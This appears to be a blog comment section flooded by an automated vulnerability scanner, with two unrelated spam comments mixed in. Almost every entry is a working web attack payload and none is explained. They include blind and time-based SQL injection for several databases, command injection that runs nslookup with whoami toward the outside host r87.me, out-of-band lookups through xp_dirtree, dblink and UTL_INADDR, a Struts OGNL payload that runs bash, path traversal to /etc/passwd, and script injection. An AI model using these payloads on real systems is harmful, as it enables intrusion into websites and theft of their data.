401. -1″OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255

402. -1’OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)=1–

403. -1″OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)<255

404. 1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0

405. -1/**/OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>255–

406. 1);SELECT pg_sleep(25)–

407. 1″/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>25

408. -1 OR 1=1) AND ASC(MID((Now()),1,1))<255

409. 1′ AND ASC(MID((Now()),1,1))>255

410. 3

411. -1’OR/**/1=1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)=1

412. -1’OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>0

413. -1’OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255–

414. 1″ AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255

415. -1″OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25

416. 1′ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0

417. -1’OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)<255

418. 1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>0–

419. -1 OR 1=1)) AND ASC(MID((Now()),1,1))>25

420. 1 AND ASC(MID((Now()),1,1))<255

421. 3

422. 3

423. exec(‘xp_dirtree ”\\lpjepdz3nefvryobetngv1_ihlqppux7tclmkvr2’+’dto.r87.me’+’\c$\a”’)

424. 1′))exec(‘xp_dirtree ”\\lpjepdz3negvryrf1lpfxxoj3wqxnqfmpjwqbdfx’+’bn8.r87.me’+’\c$\a”’)–

425. ‘||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(‘lpjepdz3nevblbqmovuzm_vsw9z9eobbz7rdj_fu’||’niq.r87.me’) from DUAL))||’

426. 3

427. 3

428. 3

429. 3

430. 3

431. gethostbyname(trim(‘lpjepdz3nejmevhvhnewry10bru3ou8dofc0-xzj’.’z7g.r87.me’))

432. +createobject(“WScript.Shell”).exec(“nslookup lpjepdz3ne4fie5isk92sme3m9kolow_ex2yg16k” & “ssi.r87.me”).StdOut.ReadAll+

433. “& nslookup lpjepdz3nebmddejq1bkjprtcxpyr9c9bhdnv1sf^m9i.r87.me&’\”`0&nslookup lpjepdz3nebmddejq1bkjprtcxpyr9c9bhdnv1sf^m9i.r87.me&`’

434. nslookup “lpjepdz3nebyneitxdoqibvqziz3jlo2b3wwo0vc””usk.r87.me”

435. nslookup “lpjepdz3ne3mf1we0dl2udsi7ium680ldcuohuly””eiu.r87.me”

436. &nslookup “lpjepdz3nexerlll8vewlockgrrglmno03rlak6n””gkq.r87.me”

437. &nslookup “lpjepdz3negnbzo1r9yzv2v6dc2yxd-jwgqbazen””rdi.r87.me”

438. ‘&nslookup “lpjepdz3netnqxa0vtpxaczaozqt3kjyoxfpo9cc””2yk.r87.me”

439. ‘&nslookup “lpjepdz3nefjbnp1vgsupsarbwnxwizaiug72_rs””sm0.r87.me”

440. “&nslookup “lpjepdz3newc1khhvk7gs-a5yhi5z_qdu7ylbvlu””fo8.r87.me”

441. “&nslookup “lpjepdz3neqz5klavrowppyrkrfyii4egre1dvtm””fpg.r87.me”

442. |nslookup${IFS}”lpjepdz3nef6cf9tinx43cvzy-_cqxgvvraneqm3″”u3e.r87.me”

443. |nslookup${IFS}”lpjepdz3nezlekj-cybu8r_dyjep-ulureu2rbdl””ony.r87.me”

444. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”lpjepdz3ne-1dlt48jgfogkbbqn2z4lfmbl9ear0″”mtu.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

445. 3

446. 3

447. 3

448. 1′ OR 1=1 OR ‘ns’=’ns

450. -1’OR/**/1=1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>25

451. php://filter//resource=http://r87.com/n?.php

452. -1 OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>255

453. -1″OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>0–

454. 1″ AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>255–

455. -1 OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255

456. -1’OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255–

457. 1′ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255–

458. -1/**/OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>25–

459. -1’OR/**/1=1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)<255–

460. 1’/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)=1–

461. -1 OR 1=1)) AND ASC(MID((Now()),1,1))>0

462. …//…//…//…//…//…//…//…//…//…//…//windows/win.ini

463. 1′ AND ASC(MID((Now()),1,1))=1

464. -1’OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>0

465. -1/**/OR/**/1=1)/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)<255–

466. ‘+netsparker(0x389B82)+’

467. -1″OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>255

468. -1’OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)=1–

469. 1″ AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255–

470. -1’OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255–

471. -1″OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)=1–

472. 1′ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255

473. -1″OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>255

474. -1’OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>25

475. cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(103)||chr(114)||chr(110)||chr(108)||chr(114)||chr(105)||chr(56)||chr(118)||chr(111)||chr(104)||chr(54)||chr(121)||chr(56)||chr(105)||chr(106)||chr(102)||chr(116)||chr(48)||chr(109)||chr(113)||chr(107)||chr(122)||chr(120)||chr(109)||chr(48)||chr(101)||chr(51)||chr(107)||chr(106)||chr(108)||chr(109)||chr(97)||chr(122)||chr(109)||chr(122)||chr(106)||chr(115)||chr(102)||chr(109)||chr(98)||chr(53)||chr(118)||chr(113)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

476. ‘||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(103)||chr(114)||chr(110)||chr(108)||chr(114)||chr(105)||chr(56)||chr(118)||chr(111)||chr(104)||chr(45)||chr(109)||chr(97)||chr(112)||chr(110)||chr(118)||chr(99)||chr(100)||chr(50)||chr(105)||chr(117)||chr(102)||chr(109)||chr(51)||chr(101)||chr(100)||chr(113)||chr(103)||chr(107)||chr(52)||chr(121)||chr(97)||chr(110)||chr(115)||chr(108)||chr(114)||chr(117)||chr(112)||chr(49)||chr(112)||chr(99)||chr(95)||chr(119)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||’

477. 1’/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>0

478. -1’OR 1=1)) AND ASC(MID((Now()),1,1))<255

479. -1 OR 1=1)) AND ASC(MID((Now()),1,1))>255

480. -1″OR 1=1) AND ASC(MID((Now()),1,1))<255

481. -1’OR 1=1 AND ASC(MID((Now()),1,1))>0

482. -1 OR 1=1 AND ASC(MID((Now()),1,1))>0

483. 1′ AND ASC(MID((Now()),1,1))<255

484. 1″ AND ASC(MID((Now()),1,1))>25

485. gethostbyname(trim(‘grnlri8vohwwbzpcy-felhaeo2qgvgkl2hibgtft’.’jls.r87.me’))

486. ‘{${gethostbyname(trim(‘grnlri8vohcxcnwmdufqv31jufikr1yszahsik0w’.’d5c.r87.me’))}}’

487. “+createobject(“WScript.Shell”).exec(“nslookup grnlri8vohn9lvq8yuimbarske9cn236djz8oe-i” & “47i.r87.me”).StdOut.ReadAll+”

488. & nslookup grnlri8vohcubc1sdw3y4prk0vzpafoe6xgdnfd9^cog.r87.me&’\”`0&nslookup grnlri8vohcubc1sdw3y4prk0vzpafoe6xgdnfd9^cog.r87.me&`’

489. & nslookup grnlri8vohpk1b09qgd3fehtyd9oyn8nma20lsjj^hzq.r87.me&’\”`0&nslookup grnlri8vohpk1b09qgd3fehtyd9oyn8nma20lsjj^hzq.r87.me&`’

490. ‘& nslookup grnlri8vohtqu_h4bzn4x2o7xlmqj5vh4iruj0nf^bvm.r87.me&’\”`0&nslookup grnlri8vohtqu_h4bzn4x2o7xlmqj5vh4iruj0nf^bvm.r87.me&`’

491. ‘& nslookup grnlri8voh37-5qvght82xspha3ro-klsuouphjc^yve.r87.me&’\”`0&nslookup grnlri8voh37-5qvght82xspha3ro-klsuouphjc^yve.r87.me&`’

492. “& nslookup grnlri8voh9c0ptme8757i7yd1_glarhqwt8v-2q^bgy.r87.me&’\”`0&nslookup grnlri8voh9c0ptme8757i7yd1_glarhqwt8v-2q^bgy.r87.me&`’

493. “& nslookup grnlri8vohxbxzcsllma_08bou-q5-9mc0rmrcy2^8zu.r87.me&’\”`0&nslookup grnlri8vohxbxzcsllma_08bou-q5-9mc0rmrcy2^8zu.r87.me&`’

494. nslookup “grnlri8vohgda_zunhzm6phfuq18pva-l806teqp””pe0.r87.me”

495. nslookup “grnlri8vohpuzmeafbsnbha9zalnvb1z34h47uu3″”k0c.r87.me”

496. &nslookup “grnlri8vohueujwljp9cl-aark61cidyqh4ry_2-“”6xw.r87.me”

497. &nslookup “grnlri8vohjj-x8jdukfms9astih85t21x_az-6x””wck.r87.me”

498. ‘&nslookup “grnlri8vohwfpylr2dpc25dow–olmn9av7m67-p””qg8.r87.me”

499. ‘&nslookup “grnlri8voh2l2t0pdcmx7guub2gif88yyv_sycy1″”nfo.r87.me”

500. “&nslookup “grnlri8voh7ukdx5ag8ho-4sxeu7akcl4fmciewe””_3s.r87.me”

501. “&nslookup “grnlri8voh2rkfm3q5hsnpeibairnojzdrxrhhdt””gag.r87.me”

502. |nslookup${IFS}”grnlri8voh8zg6x5tokz3dcdvuxeciuypaa4grlk””utw.r87.me”

503. |nslookup${IFS}”grnlri8voh-t6ang_atxlsyy16l_9rrff0bechbz””wpo.r87.me”

504. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”grnlri8vohzzktvn3p5jsqrskhogwbj5p1bwgub-“”v8i.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

505. With havin so much written content do you ever run into any
     issues of plagorism or copyright violation? My blog has a lot of exclusive
     content I’ve either written myself or outsourced but it appears a lot of it is popping it up
     all over the web without my authorization. Do you know any
     solutions to help reduce content from being stolen? I’d certainly appreciate it.

506. Why users still make use of to read news papers when in this technological globe everything is
     accessible on web?

507. 3

508. 3

509. 3

510. 3

511. 3

512. 3

513. SET /A 0xFFF9999-2 &

514. 3

515. 3

516. 3

517. 3

518. ((SELECT 1 FROM (SELECT SLEEP(25))A))

519. 3

520. 3

521. 3

522. 3

523. 3

524. 3

525. 3

526. 3

527. 3

528. 3

529. 3

530. 3

531. 3

532. 3

533. 3

534. 3

535. 3

536. 3

537. data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDA5MEM5KTwvc2NyaXB0Pg==

538. 3

539. -1/**/OR/**/1=1)/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>255

540. 1″/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>25

541. -1’OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>0–

542. 1″ AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>255

543. -1 OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255

544. 1″ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)<255

545. -1/**/OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>255–

546. 1’/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)<255

547. -1″OR 1=1) AND ASC(MID((Now()),1,1))>255

548. 1′ AND ASC(MID((Now()),1,1))>25

549. -1/**/OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>0–

550. -1″OR/**/1=1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)=1–

551. -1″OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>25–

552. -1″OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>255

553. -1″OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)<255

554. -1″OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25–

555. 1″ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0–

556. -1/**/OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)<255

557. -1’OR/**/1=1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>255–

558. 1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>255–

559. -1’OR 1=1)) AND ASC(MID((Now()),1,1))>255

560. -1’OR 1=1) AND ASC(MID((Now()),1,1))>25

561. -1 OR 1=1 AND ASC(MID((Now()),1,1))<255

562. gethostbyname(trim(‘lmh0gw9hrsqb0tk_s9jiqxeowuqtmq1_pxra8_j-‘.’_ly.r87.me’))

563. ‘{${gethostbyname(trim(‘lmh0gw9hrsrojlsyj-q2agag7dw0tmbcvlpmxlrj’.’aac.r87.me’))}}’

564. ‘+gethostbyname(lc ‘lmh0gw9hrsythjubsbsvt1vbuwbhvwachwqwrivp’.’gti.r87.me’)+’

565. “+gethostbyname(lc ‘lmh0gw9hrssfttmeaxbb3kxed-b6owwhkvr9cjmz’.’imq.r87.me’)+”

566. nslookup lmh0gw9hrs2y2hutwkrt2dol_hebvk48pzmu2sla^-8q.r87.me&’\”`0&nslookup lmh0gw9hrs2y2hutwkrt2dol_hebvk48pzmu2sla^-8q.r87.me&`’

567. nslookup lmh0gw9hrswzjwvnttkpcsn0o1vvmnziadw3qxfo^8w0.r87.me&’\”`0&nslookup lmh0gw9hrswzjwvnttkpcsn0o1vvmnziadw3qxfo^8w0.r87.me&`’

568. & nslookup lmh0gw9hrsobnpqlqoy89co55elcgr2avugz3qa_^qyq.r87.me&’\”`0&nslookup lmh0gw9hrsobnpqlqoy89co55elcgr2avugz3qa_^qyq.r87.me&`’

569. & nslookup lmh0gw9hrsvro5txlqjcp3rovgtoyv2rppagqreq^_pk.r87.me&’\”`0&nslookup lmh0gw9hrsvro5txlqjcp3rovgtoyv2rppagqreq^_pk.r87.me&`’

570. ‘& nslookup lmh0gw9hrs1d05e8bn94pkxvs4tf5zsu_xepltpp^0f4.r87.me&’\”`0&nslookup lmh0gw9hrs1d05e8bn94pkxvs4tf5zsu_xepltpp^0f4.r87.me&`’

571. ‘& nslookup lmh0gw9hrs3hsik50g1s71lfrjydeam6xbtulxgf^ve8.r87.me&’\”`0&nslookup lmh0gw9hrs3hsik50g1s71lfrjydeam6xbtulxgf^ve8.r87.me&`’

572. “& nslookup lmh0gw9hrsjakyyfwdbm8-_22u7mxs4fhjnlktdm^_rq.r87.me&’\”`0&nslookup lmh0gw9hrsjakyyfwdbm8-_22u7mxs4fhjnlktdm^_rq.r87.me&`’

573. “& nslookup lmh0gw9hrszaavgmzda1r1ap5g57hg1xbordhzmm^tfo.r87.me&’\”`0&nslookup lmh0gw9hrszaavgmzda1r1ap5g57hg1xbordhzmm^tfo.r87.me&`’

574. nslookup “lmh0gw9hrs316daxsaxkac8gf9dsal0aut3oz3p0″”42i.r87.me”

575. nslookup “lmh0gw9hrszf1ycqjenkn5kk1tezgwzb6nsnnpba””5hw.r87.me”

576. &nslookup “lmh0gw9hrsa4rex6-smcvdune8q4mfrziinixslb””kl8.r87.me”

577. &nslookup “lmh0gw9hrshioh_0tqc43vkd3isiledwsjkkpt9u””zo0.r87.me”

578. ‘&nslookup “lmh0gw9hrs2jgaplateyhhakqhoba4e9hktrg7h4″”imm.r87.me”

579. ‘&nslookup “lmh0gw9hrstrsfbputefagkiwwtwdbzkrjephwec””nrs.r87.me”

580. “&nslookup “lmh0gw9hrshghmg4elro20zlbexw3uihmgwosh2-“”tik.r87.me”

581. “&nslookup “lmh0gw9hrsq_8ngjn1vm3wefjpb-9wsihpkur4k-“”upo.r87.me”

582. |nslookup${IFS}”lmh0gw9hrs5xce8cfsx5gd9lpj6kyly_cnkpiz09″”kte.r87.me”

583. |nslookup${IFS}”lmh0gw9hrsaliea7e4nqm3qwakkocjzc70_2z9kb””kge.r87.me”

584. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”lmh0gw9hrsepeevmed96rqyiarwh77pjq0zzuvr8″”vgo.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

585. 3

586. 3

587. 3

588. 3

589. 3

590. 3

591. 3

592. 3

593. -1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

594. 3

595. 1;SELECT pg_sleep(25)–

596. 3

597. 3

598. 3

599. 3

600. 3

601. 3

602. 3

603. 3

604. /../../../../../../../../../../../etc/passwd

605. 3

606. 3

607. 3

608. 3

609. 3

610. 3

611. 3

612. 3

613. 3

614. 3

615. 3

616. 3

617. 3

618. exec(‘xp_dirtree ”\\izimdayqtl_7evtr6xb0qzooqre_qbl4dlhag8l1’+’kaa.r87.me’+’\c$\a”’)

619. syscolumns WHERE 2>3;exec(‘xp_dirtree ”\\izimdayqtlc-tcex3vpu3cbwkgu1oeydapdthtwn’+’ggu.r87.me’+’\c$\a”’)–

620. ‘||(SELECT dblink_connect(‘host=izimdayqtltn3w4ojo_7dxm_ab-exrgwrvmpi-yl’||’hig.r87.me user=a password=a connect_timeout=2′))||’

621. -1’OR/**/1=1)/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>255–

622. -1″OR/**/1=1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>0–

623. 1″/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>0–

624. -1’OR 1=1) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>25–

625. -1″OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>25

626. 1′ AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>0

627. -1’OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25–

628. -1 OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0–

629. -1’OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0

630. -1 OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0–

631. -1’OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25

632. -1 OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255

633. 1′ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)=1–

634. -1’OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)=1–

635. -1’OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>25–

636. -1/**/OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>0

637. -1″OR/**/1=1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>255–

638. -1/**/OR/**/1=1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)=1

639. 1’/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>255

640. -1’OR 1=1)) AND ASC(MID((Now()),1,1))>0

641. gethostbyname(trim(‘izimdayqtlrxr-udux9gfdw-tmxn6psyp4yvqn01′.’cqq.r87.me’));

642. -1″OR 1=1) AND ASC(MID((Now()),1,1))=1

643. -1’OR 1=1 AND ASC(MID((Now()),1,1))<255

644. 1 AND ASC(MID((Now()),1,1))>255

645. 1″ AND ASC(MID((Now()),1,1))>0

646. 1″ OR 1=1 OR “ns”=”ns

647. -1’OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>0–

648. -1’OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>25

649. -1/**/OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)<255–

650. -1’OR/**/1=1)/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)=1–

651. -1″OR/**/1=1)/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>0–

652. -1/**/OR/**/1=1)/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>0

653. -1’OR/**/1=1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>255

654. -1/**/OR/**/1=1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)<255–

655. 1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)=1–

656. 1’/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>25

657. -1’OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)=1–

658. -1″OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255

659. -1’OR 1=1) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255

660. -1 OR 1=1) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255

661. -1 OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>0–

662. 1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)=1

663. 1″ AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)=1–

664. -1’OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)<255

665. -1 OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)<255–

666. -1’OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)<255

667. -1 OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0

668. -1″OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0

669. -1 OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)=1

670. 1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)=1

671. 1″ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25–

672. -1’OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>255

673. -1″OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)=1

674. -1’OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>0

675. -1/**/OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)=1–

676. -1″OR/**/1=1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)<255–

677. -1/**/OR/**/1=1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>25

678. 1’/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)=1

679. -1’OR 1=1)) AND ASC(MID((Now()),1,1))=1

680. -1’OR 1=1)) AND ASC(MID((Now()),1,1))>25

681. -1″OR 1=1)) AND ASC(MID((Now()),1,1))>25

682. -1’OR 1=1) AND ASC(MID((Now()),1,1))>255

683. -1 OR 1=1) AND ASC(MID((Now()),1,1))>0

